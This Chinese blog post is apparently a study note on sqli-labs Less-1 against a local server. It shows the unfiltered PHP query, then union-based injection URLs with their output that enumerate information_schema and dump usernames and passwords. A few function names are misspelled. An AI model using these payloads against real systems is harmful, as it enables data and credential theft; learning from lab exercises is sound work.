sql注入

0X00
wing

注入地址:http://127.0.0.1/sql/Less-1?id=1

常用函数:1.version() –>数据库版本
user() –>数据库用户名
databases() –>数据库名
@@version_compile_os –>os version
group_cocat(srr1,str2) –>一次性查出所有信息

union和union all 的区别是union不允许重复

输入:
http://127.0.0.1/sql/Less-1?id=1%20%27order%20by%203--+
没有报错

后台代码:

if(isset($_GET['id'])) { $id=$_GET['id']; $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); /*这两个函数把我们的payload保存了下来*/ fclose($fp); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

可以看到,并没有对id进过滤
继续输入:
http://127.0.0.1/sql/Less-1?id=1%20%27order%20by%204--+
报错显示,未知的列,由此确定有三列数据。

ps:我们在提交请求的过程中,payload会被url编码,常见的如下:
“!” %21
“”” %22
“#” %23
“$” %24
“%” %25
“&” %26
“‘“ %27
“(“ %28
“)” %29
“*” %2A
“+” %2B
“,” %2C
“-“ %2D
“.” %2E
“/“ %2F
更多
mysql版本大于5.0的,存在一张information_schema数据表,保存了mysql服务器上所有信息,有数据库名,数据库表,访问权限,可以说有很详细的信息,当然包括管理员的账号密码。

猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxx ’
猜某表的所有列
Select column_ name from information_schema.columns where table_name=’xxx ’
获取某列的内容
Select * from *

http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

id后面加-1让他错误,然后输出union select 的内容。

出来了这几个数据库:
Your Login name:information_schema,challenges,dvwa,just,mysql,pentesterlab,performance_schema,pscan,security,test Your Password:3
测试dvwa数据库!
http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27dvwa%27--+
回显:
Your Login name:guestbook,users Your Password:3

猜解users表
http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
回显:
Your Login name:user_id,first_name,last_name,user,password,avatar,username,password,email,userhash,id,username,password Your Password:3

最后的重点来了咩,user和password字段的值:
http://127.0.0.1/sql/Less-1?id=-1'union select 1,username,password from users--+
回显:
Your Login name:Dumb Your Password:Dumb
我建立博客的目的就是为了把学过的东西能够自己做一个整理,但是有时候很杂,自己说不清楚,因为知识面不够,好的嘛,等我知识面够了,再写自己想写的。
:smile:

打赏wing!